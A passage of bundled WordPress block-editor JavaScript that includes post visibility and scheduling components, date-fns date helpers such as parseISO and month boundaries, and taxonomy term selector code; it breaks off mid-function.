;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/utils.js
/**
 * WordPress dependencies
 */

const visibilityOptions = {
  public: {
    label: (0,external_wp_i18n_namespaceObject.__)('Public'),
    info: (0,external_wp_i18n_namespaceObject.__)('Visible to everyone.')
  },
  private: {
    label: (0,external_wp_i18n_namespaceObject.__)('Private'),
    info: (0,external_wp_i18n_namespaceObject.__)('Only visible to site admins and editors.')
  },
  password: {
    label: (0,external_wp_i18n_namespaceObject.__)('Password protected'),
    info: (0,external_wp_i18n_namespaceObject.__)('Only those with the password can view this post.')
  }
};

;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/index.js
/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



/**
 * Allows users to set the visibility of a post.
 *
 * @param {Object}   props         The component props.
 * @param {Function} props.onClose Function to call when the popover is closed.
 * @return {React.ReactNode} The rendered component.
 */

function PostVisibility({
  onClose
}) {
  const instanceId = (0,external_wp_compose_namespaceObject.useInstanceId)(PostVisibility);
  const {
    status,
    visibility,
    password
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    status: select(store_store).getEditedPostAttribute('status'),
    visibility: select(store_store).getEditedPostVisibility(),
    password: select(store_store).getEditedPostAttribute('password')
  }));
  const {
    editPost,
    savePost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const [hasPassword, setHasPassword] = (0,external_wp_element_namespaceObject.useState)(!!password);
  const [showPrivateConfirmDialog, setShowPrivateConfirmDialog] = (0,external_wp_element_namespaceObject.useState)(false);
  const setPublic = () => {
    editPost({
      status: visibility === 'private' ? 'draft' : status,
      password: ''
    });
    setHasPassword(false);
  };
  const setPrivate = () => {
    setShowPrivateConfirmDialog(true);
  };
  const confirmPrivate = () => {
    editPost({
      status: 'private',
      password: ''
    });
    setHasPassword(false);
    setShowPrivateConfirmDialog(false);
    savePost();
  };
  const handleDialogCancel = () => {
    setShowPrivateConfirmDialog(false);
  };
  const setPasswordProtected = () => {
    editPost({
      status: visibility === 'private' ? 'draft' : status,
      password: password || ''
    });
    setHasPassword(true);
  };
  const updatePassword = event => {
    editPost({
      password: event.target.value
    });
  };
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-visibility",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_blockEditor_namespaceObject.__experimentalInspectorPopoverHeader, {
      title: (0,external_wp_i18n_namespaceObject.__)('Visibility'),
      help: (0,external_wp_i18n_namespaceObject.__)('Control how this post is viewed.'),
      onClose: onClose
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("fieldset", {
      className: "editor-post-visibility__fieldset",
      children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
        as: "legend",
        children: (0,external_wp_i18n_namespaceObject.__)('Visibility')
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibilityChoice, {
        instanceId: instanceId,
        value: "public",
        label: visibilityOptions.public.label,
        info: visibilityOptions.public.info,
        checked: visibility === 'public' && !hasPassword,
        onChange: setPublic
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibilityChoice, {
        instanceId: instanceId,
        value: "private",
        label: visibilityOptions.private.label,
        info: visibilityOptions.private.info,
        checked: visibility === 'private',
        onChange: setPrivate
      }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PostVisibilityChoice, {
        instanceId: instanceId,
        value: "password",
        label: visibilityOptions.password.label,
        info: visibilityOptions.password.info,
        checked: hasPassword,
        onChange: setPasswordProtected
      }), hasPassword && /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
        className: "editor-post-visibility__password",
        children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.VisuallyHidden, {
          as: "label",
          htmlFor: `editor-post-visibility__password-input-${instanceId}`,
          children: (0,external_wp_i18n_namespaceObject.__)('Create password')
        }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", {
          className: "editor-post-visibility__password-input",
          id: `editor-post-visibility__password-input-${instanceId}`,
          type: "text",
          onChange: updatePassword,
          value: password,
          placeholder: (0,external_wp_i18n_namespaceObject.__)('Use a secure password')
        })]
      })]
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalConfirmDialog, {
      isOpen: showPrivateConfirmDialog,
      onConfirm: confirmPrivate,
      onCancel: handleDialogCancel,
      confirmButtonText: (0,external_wp_i18n_namespaceObject.__)('Publish'),
      size: "medium",
      children: (0,external_wp_i18n_namespaceObject.__)('Would you like to privately publish this post now?')
    })]
  });
}
function PostVisibilityChoice({
  instanceId,
  value,
  label,
  info,
  ...props
}) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-visibility__choice",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("input", {
      type: "radio",
      name: `editor-post-visibility__setting-${instanceId}`,
      value: value,
      id: `editor-post-${value}-${instanceId}`,
      "aria-describedby": `editor-post-${value}-${instanceId}-description`,
      className: "editor-post-visibility__radio",
      ...props
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("label", {
      htmlFor: `editor-post-${value}-${instanceId}`,
      className: "editor-post-visibility__label",
      children: label
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("p", {
      id: `editor-post-${value}-${instanceId}-description`,
      className: "editor-post-visibility__info",
      children: info
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-visibility/label.js
/**
 * WordPress dependencies
 */


/**
 * Internal dependencies
 */



/**
 * Returns the label for the current post visibility setting.
 *
 * @return {string} Post visibility label.
 */
function PostVisibilityLabel() {
  return usePostVisibilityLabel();
}

/**
 * Get the label for the current post visibility setting.
 *
 * @return {string} Post visibility label.
 */
function usePostVisibilityLabel() {
  const visibility = (0,external_wp_data_namespaceObject.useSelect)(select => select(store_store).getEditedPostVisibility());
  return visibilityOptions[visibility]?.label;
}

;// ./node_modules/date-fns/toDate.mjs
/**
 * @name toDate
 * @category Common Helpers
 * @summary Convert the given argument to an instance of Date.
 *
 * @description
 * Convert the given argument to an instance of Date.
 *
 * If the argument is an instance of Date, the function returns its clone.
 *
 * If the argument is a number, it is treated as a timestamp.
 *
 * If the argument is none of the above, the function returns Invalid Date.
 *
 * **Note**: *all* Date arguments passed to any *date-fns* function is processed by `toDate`.
 *
 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
 *
 * @param argument - The value to convert
 *
 * @returns The parsed date in the local time zone
 *
 * @example
 * // Clone the date:
 * const result = toDate(new Date(2014, 1, 11, 11, 30, 30))
 * //=> Tue Feb 11 2014 11:30:30
 *
 * @example
 * // Convert the timestamp to date:
 * const result = toDate(1392098430000)
 * //=> Tue Feb 11 2014 11:30:30
 */
function toDate(argument) {
  const argStr = Object.prototype.toString.call(argument);

  // Clone the date
  if (
    argument instanceof Date ||
    (typeof argument === "object" && argStr === "[object Date]")
  ) {
    // Prevent the date to lose the milliseconds when passed to new Date() in IE10
    return new argument.constructor(+argument);
  } else if (
    typeof argument === "number" ||
    argStr === "[object Number]" ||
    typeof argument === "string" ||
    argStr === "[object String]"
  ) {
    // TODO: Can we get rid of as?
    return new Date(argument);
  } else {
    // TODO: Can we get rid of as?
    return new Date(NaN);
  }
}

// Fallback for modularized imports:
/* harmony default export */ const date_fns_toDate = ((/* unused pure expression or super */ null && (toDate)));

;// ./node_modules/date-fns/startOfMonth.mjs


/**
 * @name startOfMonth
 * @category Month Helpers
 * @summary Return the start of a month for the given date.
 *
 * @description
 * Return the start of a month for the given date.
 * The result will be in the local timezone.
 *
 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
 *
 * @param date - The original date
 *
 * @returns The start of a month
 *
 * @example
 * // The start of a month for 2 September 2014 11:55:00:
 * const result = startOfMonth(new Date(2014, 8, 2, 11, 55, 0))
 * //=> Mon Sep 01 2014 00:00:00
 */
function startOfMonth(date) {
  const _date = toDate(date);
  _date.setDate(1);
  _date.setHours(0, 0, 0, 0);
  return _date;
}

// Fallback for modularized imports:
/* harmony default export */ const date_fns_startOfMonth = ((/* unused pure expression or super */ null && (startOfMonth)));

;// ./node_modules/date-fns/endOfMonth.mjs


/**
 * @name endOfMonth
 * @category Month Helpers
 * @summary Return the end of a month for the given date.
 *
 * @description
 * Return the end of a month for the given date.
 * The result will be in the local timezone.
 *
 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
 *
 * @param date - The original date
 *
 * @returns The end of a month
 *
 * @example
 * // The end of a month for 2 September 2014 11:55:00:
 * const result = endOfMonth(new Date(2014, 8, 2, 11, 55, 0))
 * //=> Tue Sep 30 2014 23:59:59.999
 */
function endOfMonth(date) {
  const _date = toDate(date);
  const month = _date.getMonth();
  _date.setFullYear(_date.getFullYear(), month + 1, 0);
  _date.setHours(23, 59, 59, 999);
  return _date;
}

// Fallback for modularized imports:
/* harmony default export */ const date_fns_endOfMonth = ((/* unused pure expression or super */ null && (endOfMonth)));

;// ./node_modules/date-fns/constants.mjs
/**
 * @module constants
 * @summary Useful constants
 * @description
 * Collection of useful date constants.
 *
 * The constants could be imported from `date-fns/constants`:
 *
 * ```ts
 * import { maxTime, minTime } from "./constants/date-fns/constants";
 *
 * function isAllowedTime(time) {
 *   return time <= maxTime && time >= minTime;
 * }
 * ```
 */

/**
 * @constant
 * @name daysInWeek
 * @summary Days in 1 week.
 */
const daysInWeek = 7;

/**
 * @constant
 * @name daysInYear
 * @summary Days in 1 year.
 *
 * @description
 * How many days in a year.
 *
 * One years equals 365.2425 days according to the formula:
 *
 * > Leap year occures every 4 years, except for years that are divisable by 100 and not divisable by 400.
 * > 1 mean year = (365+1/4-1/100+1/400) days = 365.2425 days
 */
const daysInYear = 365.2425;

/**
 * @constant
 * @name maxTime
 * @summary Maximum allowed time.
 *
 * @example
 * import { maxTime } from "./constants/date-fns/constants";
 *
 * const isValid = 8640000000000001 <= maxTime;
 * //=> false
 *
 * new Date(8640000000000001);
 * //=> Invalid Date
 */
const maxTime = Math.pow(10, 8) * 24 * 60 * 60 * 1000;

/**
 * @constant
 * @name minTime
 * @summary Minimum allowed time.
 *
 * @example
 * import { minTime } from "./constants/date-fns/constants";
 *
 * const isValid = -8640000000000001 >= minTime;
 * //=> false
 *
 * new Date(-8640000000000001)
 * //=> Invalid Date
 */
const minTime = -maxTime;

/**
 * @constant
 * @name millisecondsInWeek
 * @summary Milliseconds in 1 week.
 */
const millisecondsInWeek = 604800000;

/**
 * @constant
 * @name millisecondsInDay
 * @summary Milliseconds in 1 day.
 */
const millisecondsInDay = 86400000;

/**
 * @constant
 * @name millisecondsInMinute
 * @summary Milliseconds in 1 minute
 */
const millisecondsInMinute = 60000;

/**
 * @constant
 * @name millisecondsInHour
 * @summary Milliseconds in 1 hour
 */
const millisecondsInHour = 3600000;

/**
 * @constant
 * @name millisecondsInSecond
 * @summary Milliseconds in 1 second
 */
const millisecondsInSecond = 1000;

/**
 * @constant
 * @name minutesInYear
 * @summary Minutes in 1 year.
 */
const minutesInYear = 525600;

/**
 * @constant
 * @name minutesInMonth
 * @summary Minutes in 1 month.
 */
const minutesInMonth = 43200;

/**
 * @constant
 * @name minutesInDay
 * @summary Minutes in 1 day.
 */
const minutesInDay = 1440;

/**
 * @constant
 * @name minutesInHour
 * @summary Minutes in 1 hour.
 */
const minutesInHour = 60;

/**
 * @constant
 * @name monthsInQuarter
 * @summary Months in 1 quarter.
 */
const monthsInQuarter = 3;

/**
 * @constant
 * @name monthsInYear
 * @summary Months in 1 year.
 */
const monthsInYear = 12;

/**
 * @constant
 * @name quartersInYear
 * @summary Quarters in 1 year
 */
const quartersInYear = 4;

/**
 * @constant
 * @name secondsInHour
 * @summary Seconds in 1 hour.
 */
const secondsInHour = 3600;

/**
 * @constant
 * @name secondsInMinute
 * @summary Seconds in 1 minute.
 */
const secondsInMinute = 60;

/**
 * @constant
 * @name secondsInDay
 * @summary Seconds in 1 day.
 */
const secondsInDay = secondsInHour * 24;

/**
 * @constant
 * @name secondsInWeek
 * @summary Seconds in 1 week.
 */
const secondsInWeek = secondsInDay * 7;

/**
 * @constant
 * @name secondsInYear
 * @summary Seconds in 1 year.
 */
const secondsInYear = secondsInDay * daysInYear;

/**
 * @constant
 * @name secondsInMonth
 * @summary Seconds in 1 month
 */
const secondsInMonth = secondsInYear / 12;

/**
 * @constant
 * @name secondsInQuarter
 * @summary Seconds in 1 quarter.
 */
const secondsInQuarter = secondsInMonth * 3;

;// ./node_modules/date-fns/parseISO.mjs


/**
 * The {@link parseISO} function options.
 */

/**
 * @name parseISO
 * @category Common Helpers
 * @summary Parse ISO string
 *
 * @description
 * Parse the given string in ISO 8601 format and return an instance of Date.
 *
 * Function accepts complete ISO 8601 formats as well as partial implementations.
 * ISO 8601: http://en.wikipedia.org/wiki/ISO_8601
 *
 * If the argument isn't a string, the function cannot parse the string or
 * the values are invalid, it returns Invalid Date.
 *
 * @typeParam DateType - The `Date` type, the function operates on. Gets inferred from passed arguments. Allows to use extensions like [`UTCDate`](https://github.com/date-fns/utc).
 *
 * @param argument - The value to convert
 * @param options - An object with options
 *
 * @returns The parsed date in the local time zone
 *
 * @example
 * // Convert string '2014-02-11T11:30:30' to date:
 * const result = parseISO('2014-02-11T11:30:30')
 * //=> Tue Feb 11 2014 11:30:30
 *
 * @example
 * // Convert string '+02014101' to date,
 * // if the additional number of digits in the extended year format is 1:
 * const result = parseISO('+02014101', { additionalDigits: 1 })
 * //=> Fri Apr 11 2014 00:00:00
 */
function parseISO(argument, options) {
  const additionalDigits = options?.additionalDigits ?? 2;
  const dateStrings = splitDateString(argument);

  let date;
  if (dateStrings.date) {
    const parseYearResult = parseYear(dateStrings.date, additionalDigits);
    date = parseDate(parseYearResult.restDateString, parseYearResult.year);
  }

  if (!date || isNaN(date.getTime())) {
    return new Date(NaN);
  }

  const timestamp = date.getTime();
  let time = 0;
  let offset;

  if (dateStrings.time) {
    time = parseTime(dateStrings.time);
    if (isNaN(time)) {
      return new Date(NaN);
    }
  }

  if (dateStrings.timezone) {
    offset = parseTimezone(dateStrings.timezone);
    if (isNaN(offset)) {
      return new Date(NaN);
    }
  } else {
    const dirtyDate = new Date(timestamp + time);
    // JS parsed string assuming it's in UTC timezone
    // but we need it to be parsed in our timezone
    // so we use utc values to build date in our timezone.
    // Year values from 0 to 99 map to the years 1900 to 1999
    // so set year explicitly with setFullYear.
    const result = new Date(0);
    result.setFullYear(
      dirtyDate.getUTCFullYear(),
      dirtyDate.getUTCMonth(),
      dirtyDate.getUTCDate(),
    );
    result.setHours(
      dirtyDate.getUTCHours(),
      dirtyDate.getUTCMinutes(),
      dirtyDate.getUTCSeconds(),
      dirtyDate.getUTCMilliseconds(),
    );
    return result;
  }

  return new Date(timestamp + time + offset);
}

const patterns = {
  dateTimeDelimiter: /[T ]/,
  timeZoneDelimiter: /[Z ]/i,
  timezone: /([Z+-].*)$/,
};

const dateRegex =
  /^-?(?:(\d{3})|(\d{2})(?:-?(\d{2}))?|W(\d{2})(?:-?(\d{1}))?|)$/;
const timeRegex =
  /^(\d{2}(?:[.,]\d*)?)(?::?(\d{2}(?:[.,]\d*)?))?(?::?(\d{2}(?:[.,]\d*)?))?$/;
const timezoneRegex = /^([+-])(\d{2})(?::?(\d{2}))?$/;

function splitDateString(dateString) {
  const dateStrings = {};
  const array = dateString.split(patterns.dateTimeDelimiter);
  let timeString;

  // The regex match should only return at maximum two array elements.
  // [date], [time], or [date, time].
  if (array.length > 2) {
    return dateStrings;
  }

  if (/:/.test(array[0])) {
    timeString = array[0];
  } else {
    dateStrings.date = array[0];
    timeString = array[1];
    if (patterns.timeZoneDelimiter.test(dateStrings.date)) {
      dateStrings.date = dateString.split(patterns.timeZoneDelimiter)[0];
      timeString = dateString.substr(
        dateStrings.date.length,
        dateString.length,
      );
    }
  }

  if (timeString) {
    const token = patterns.timezone.exec(timeString);
    if (token) {
      dateStrings.time = timeString.replace(token[1], "");
      dateStrings.timezone = token[1];
    } else {
      dateStrings.time = timeString;
    }
  }

  return dateStrings;
}

function parseYear(dateString, additionalDigits) {
  const regex = new RegExp(
    "^(?:(\\d{4}|[+-]\\d{" +
      (4 + additionalDigits) +
      "})|(\\d{2}|[+-]\\d{" +
      (2 + additionalDigits) +
      "})$)",
  );

  const captures = dateString.match(regex);
  // Invalid ISO-formatted year
  if (!captures) return { year: NaN, restDateString: "" };

  const year = captures[1] ? parseInt(captures[1]) : null;
  const century = captures[2] ? parseInt(captures[2]) : null;

  // either year or century is null, not both
  return {
    year: century === null ? year : century * 100,
    restDateString: dateString.slice((captures[1] || captures[2]).length),
  };
}

function parseDate(dateString, year) {
  // Invalid ISO-formatted year
  if (year === null) return new Date(NaN);

  const captures = dateString.match(dateRegex);
  // Invalid ISO-formatted string
  if (!captures) return new Date(NaN);

  const isWeekDate = !!captures[4];
  const dayOfYear = parseDateUnit(captures[1]);
  const month = parseDateUnit(captures[2]) - 1;
  const day = parseDateUnit(captures[3]);
  const week = parseDateUnit(captures[4]);
  const dayOfWeek = parseDateUnit(captures[5]) - 1;

  if (isWeekDate) {
    if (!validateWeekDate(year, week, dayOfWeek)) {
      return new Date(NaN);
    }
    return dayOfISOWeekYear(year, week, dayOfWeek);
  } else {
    const date = new Date(0);
    if (
      !validateDate(year, month, day) ||
      !validateDayOfYearDate(year, dayOfYear)
    ) {
      return new Date(NaN);
    }
    date.setUTCFullYear(year, month, Math.max(dayOfYear, day));
    return date;
  }
}

function parseDateUnit(value) {
  return value ? parseInt(value) : 1;
}

function parseTime(timeString) {
  const captures = timeString.match(timeRegex);
  if (!captures) return NaN; // Invalid ISO-formatted time

  const hours = parseTimeUnit(captures[1]);
  const minutes = parseTimeUnit(captures[2]);
  const seconds = parseTimeUnit(captures[3]);

  if (!validateTime(hours, minutes, seconds)) {
    return NaN;
  }

  return (
    hours * millisecondsInHour + minutes * millisecondsInMinute + seconds * 1000
  );
}

function parseTimeUnit(value) {
  return (value && parseFloat(value.replace(",", "."))) || 0;
}

function parseTimezone(timezoneString) {
  if (timezoneString === "Z") return 0;

  const captures = timezoneString.match(timezoneRegex);
  if (!captures) return 0;

  const sign = captures[1] === "+" ? -1 : 1;
  const hours = parseInt(captures[2]);
  const minutes = (captures[3] && parseInt(captures[3])) || 0;

  if (!validateTimezone(hours, minutes)) {
    return NaN;
  }

  return sign * (hours * millisecondsInHour + minutes * millisecondsInMinute);
}

function dayOfISOWeekYear(isoWeekYear, week, day) {
  const date = new Date(0);
  date.setUTCFullYear(isoWeekYear, 0, 4);
  const fourthOfJanuaryDay = date.getUTCDay() || 7;
  const diff = (week - 1) * 7 + day + 1 - fourthOfJanuaryDay;
  date.setUTCDate(date.getUTCDate() + diff);
  return date;
}

// Validation functions

// February is null to handle the leap year (using ||)
const daysInMonths = [31, null, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31];

function isLeapYearIndex(year) {
  return year % 400 === 0 || (year % 4 === 0 && year % 100 !== 0);
}

function validateDate(year, month, date) {
  return (
    month >= 0 &&
    month <= 11 &&
    date >= 1 &&
    date <= (daysInMonths[month] || (isLeapYearIndex(year) ? 29 : 28))
  );
}

function validateDayOfYearDate(year, dayOfYear) {
  return dayOfYear >= 1 && dayOfYear <= (isLeapYearIndex(year) ? 366 : 365);
}

function validateWeekDate(_year, week, day) {
  return week >= 1 && week <= 53 && day >= 0 && day <= 6;
}

function validateTime(hours, minutes, seconds) {
  if (hours === 24) {
    return minutes === 0 && seconds === 0;
  }

  return (
    seconds >= 0 &&
    seconds < 60 &&
    minutes >= 0 &&
    minutes < 60 &&
    hours >= 0 &&
    hours < 25
  );
}

function validateTimezone(_hours, minutes) {
  return minutes >= 0 && minutes <= 59;
}

// Fallback for modularized imports:
/* harmony default export */ const date_fns_parseISO = ((/* unused pure expression or super */ null && (parseISO)));

;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/index.js
/**
 * External dependencies
 */


/**
 * WordPress dependencies
 */







/**
 * Internal dependencies
 */



const {
  PrivatePublishDateTimePicker
} = unlock(external_wp_blockEditor_namespaceObject.privateApis);

/**
 * Renders the PostSchedule component. It allows the user to schedule a post.
 *
 * @param {Object}   props         Props.
 * @param {Function} props.onClose Function to close the component.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PostSchedule(props) {
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePostSchedule, {
    ...props,
    showPopoverHeaderActions: true,
    isCompact: false
  });
}
function PrivatePostSchedule({
  onClose,
  showPopoverHeaderActions,
  isCompact
}) {
  const {
    postDate,
    postType
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    postDate: select(store_store).getEditedPostAttribute('date'),
    postType: select(store_store).getCurrentPostType()
  }), []);
  const {
    editPost
  } = (0,external_wp_data_namespaceObject.useDispatch)(store_store);
  const onUpdateDate = date => editPost({
    date
  });
  const [previewedMonth, setPreviewedMonth] = (0,external_wp_element_namespaceObject.useState)(startOfMonth(new Date(postDate)));

  // Pick up published and scheduled site posts.
  const eventsByPostType = (0,external_wp_data_namespaceObject.useSelect)(select => select(external_wp_coreData_namespaceObject.store).getEntityRecords('postType', postType, {
    status: 'publish,future',
    after: startOfMonth(previewedMonth).toISOString(),
    before: endOfMonth(previewedMonth).toISOString(),
    exclude: [select(store_store).getCurrentPostId()],
    per_page: 100,
    _fields: 'id,date'
  }), [previewedMonth, postType]);
  const events = (0,external_wp_element_namespaceObject.useMemo)(() => (eventsByPostType || []).map(({
    date: eventDate
  }) => ({
    date: new Date(eventDate)
  })), [eventsByPostType]);
  const settings = (0,external_wp_date_namespaceObject.getSettings)();

  // To know if the current timezone is a 12 hour time with look for "a" in the time format
  // We also make sure this a is not escaped by a "/"
  const is12HourTime = /a(?!\\)/i.test(settings.formats.time.toLowerCase() // Test only the lower case a.
  .replace(/\\\\/g, '') // Replace "//" with empty strings.
  .split('').reverse().join('') // Reverse the string and test for "a" not followed by a slash.
  );
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(PrivatePublishDateTimePicker, {
    currentDate: postDate,
    onChange: onUpdateDate,
    is12Hour: is12HourTime,
    dateOrder: /* translators: Order of day, month, and year. Available formats are 'dmy', 'mdy', and 'ymd'. */
    (0,external_wp_i18n_namespaceObject._x)('dmy', 'date order'),
    events: events,
    onMonthPreviewed: date => setPreviewedMonth(parseISO(date)),
    onClose: onClose,
    isCompact: isCompact,
    showPopoverHeaderActions: showPopoverHeaderActions
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-schedule/label.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


/**
 * Renders the PostScheduleLabel component.
 *
 * @param {Object} props Props.
 *
 * @return {React.ReactNode} The rendered component.
 */
function PostScheduleLabel(props) {
  return usePostScheduleLabel(props);
}

/**
 * Custom hook to get the label for post schedule.
 *
 * @param {Object}  options      Options for the hook.
 * @param {boolean} options.full Whether to get the full label or not. Default is false.
 *
 * @return {string} The label for post schedule.
 */
function usePostScheduleLabel({
  full = false
} = {}) {
  const {
    date,
    isFloating
  } = (0,external_wp_data_namespaceObject.useSelect)(select => ({
    date: select(store_store).getEditedPostAttribute('date'),
    isFloating: select(store_store).isEditedPostDateFloating()
  }), []);
  return full ? getFullPostScheduleLabel(date) : getPostScheduleLabel(date, {
    isFloating
  });
}
function getFullPostScheduleLabel(dateAttribute) {
  const date = (0,external_wp_date_namespaceObject.getDate)(dateAttribute);
  const timezoneAbbreviation = getTimezoneAbbreviation();
  const formattedDate = (0,external_wp_date_namespaceObject.dateI18n)(
  // translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
  (0,external_wp_i18n_namespaceObject._x)('F j, Y g:i\xa0a', 'post schedule full date format'), date);
  return (0,external_wp_i18n_namespaceObject.isRTL)() ? `${timezoneAbbreviation} ${formattedDate}` : `${formattedDate} ${timezoneAbbreviation}`;
}
function getPostScheduleLabel(dateAttribute, {
  isFloating = false,
  now = new Date()
} = {}) {
  if (!dateAttribute || isFloating) {
    return (0,external_wp_i18n_namespaceObject.__)('Immediately');
  }

  // If the user timezone does not equal the site timezone then using words
  // like 'tomorrow' is confusing, so show the full date.
  if (!isTimezoneSameAsSiteTimezone(now)) {
    return getFullPostScheduleLabel(dateAttribute);
  }
  const date = (0,external_wp_date_namespaceObject.getDate)(dateAttribute);
  if (isSameDay(date, now)) {
    return (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: Time of day the post is scheduled for.
    (0,external_wp_i18n_namespaceObject.__)('Today at %s'),
    // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
    (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_i18n_namespaceObject._x)('g:i\xa0a', 'post schedule time format'), date));
  }
  const tomorrow = new Date(now);
  tomorrow.setDate(tomorrow.getDate() + 1);
  if (isSameDay(date, tomorrow)) {
    return (0,external_wp_i18n_namespaceObject.sprintf)(
    // translators: %s: Time of day the post is scheduled for.
    (0,external_wp_i18n_namespaceObject.__)('Tomorrow at %s'),
    // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
    (0,external_wp_date_namespaceObject.dateI18n)((0,external_wp_i18n_namespaceObject._x)('g:i\xa0a', 'post schedule time format'), date));
  }
  if (date.getFullYear() === now.getFullYear()) {
    return (0,external_wp_date_namespaceObject.dateI18n)(
    // translators: If using a space between 'g:i' and 'a', use a non-breaking space.
    (0,external_wp_i18n_namespaceObject._x)('F j g:i\xa0a', 'post schedule date format without year'), date);
  }
  return (0,external_wp_date_namespaceObject.dateI18n)(
  // translators: Use a non-breaking space between 'g:i' and 'a' if appropriate.
  (0,external_wp_i18n_namespaceObject._x)('F j, Y g:i\xa0a', 'post schedule full date format'), date);
}
function getTimezoneAbbreviation() {
  const {
    timezone
  } = (0,external_wp_date_namespaceObject.getSettings)();
  if (timezone.abbr && isNaN(Number(timezone.abbr))) {
    return timezone.abbr;
  }
  const symbol = timezone.offset < 0 ? '' : '+';
  return `UTC${symbol}${timezone.offsetFormatted}`;
}
function isTimezoneSameAsSiteTimezone(date) {
  const {
    timezone
  } = (0,external_wp_date_namespaceObject.getSettings)();
  const siteOffset = Number(timezone.offset);
  const dateOffset = -1 * (date.getTimezoneOffset() / 60);
  return siteOffset === dateOffset;
}
function isSameDay(left, right) {
  return left.getDate() === right.getDate() && left.getMonth() === right.getMonth() && left.getFullYear() === right.getFullYear();
}

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/most-used-terms.js
/**
 * WordPress dependencies
 */




/**
 * Internal dependencies
 */


const MIN_MOST_USED_TERMS = 3;
const DEFAULT_QUERY = {
  per_page: 10,
  orderby: 'count',
  order: 'desc',
  hide_empty: true,
  _fields: 'id,name,count',
  context: 'view'
};
function MostUsedTerms({
  onSelect,
  taxonomy
}) {
  const {
    _terms,
    showTerms
  } = (0,external_wp_data_namespaceObject.useSelect)(select => {
    const mostUsedTerms = select(external_wp_coreData_namespaceObject.store).getEntityRecords('taxonomy', taxonomy.slug, DEFAULT_QUERY);
    return {
      _terms: mostUsedTerms,
      showTerms: mostUsedTerms?.length >= MIN_MOST_USED_TERMS
    };
  }, [taxonomy.slug]);
  if (!showTerms) {
    return null;
  }
  const terms = unescapeTerms(_terms);
  return /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", {
    className: "editor-post-taxonomies__flat-term-most-used",
    children: [/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl.VisualLabel, {
      as: "h3",
      className: "editor-post-taxonomies__flat-term-most-used-label",
      children: taxonomy.labels.most_used
    }), /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", {
      role: "list",
      className: "editor-post-taxonomies__flat-term-most-used-list",
      children: terms.map(term => /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)("li", {
        children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Button, {
          __next40pxDefaultSize: true,
          variant: "link",
          onClick: () => onSelect(term),
          children: term.name
        })
      }, term.id))
    })]
  });
}

;// ./node_modules/@wordpress/editor/build-module/components/post-taxonomies/flat-term-selector.js
/**
 * WordPress dependencies
 */










/**
 * Internal dependencies
 */




/**
 * Shared reference to an empty array for cases where it is important to avoid
 * returning a new array reference on every invocation.
 *
 * @type {Array<any>}
 */

const flat_term_selector_EMPTY_ARRAY = [];

/**
 * How the max suggestions limit was chosen:
 *  - Matches the `per_page` range set by the REST API.
 *  - Can't use "unbound" query. The `FormTokenField` needs a fixed number.
 *  - Matches default for `FormTokenField`.
 */
const MAX_TERMS_SUGGESTIONS = 100;
const flat_term_selector_DEFAULT_QUERY = {
  per_page: MAX_TERMS_SUGGESTIONS,
  _fields: 'id,name',
  context: 'view'
};
const isSameTermName = (termA, termB) => unescapeString(termA).toLowerCase() === unescapeString(termB).toLowerCase();
const termNamesToIds = (names, terms) => {
  return names.map(termName => terms.find(term => isSameTermName(term.name, termName))?.id).filter(id => id !== undefined);
};
const Wrapper = ({
  children,
  __nextHasNoMarginBottom
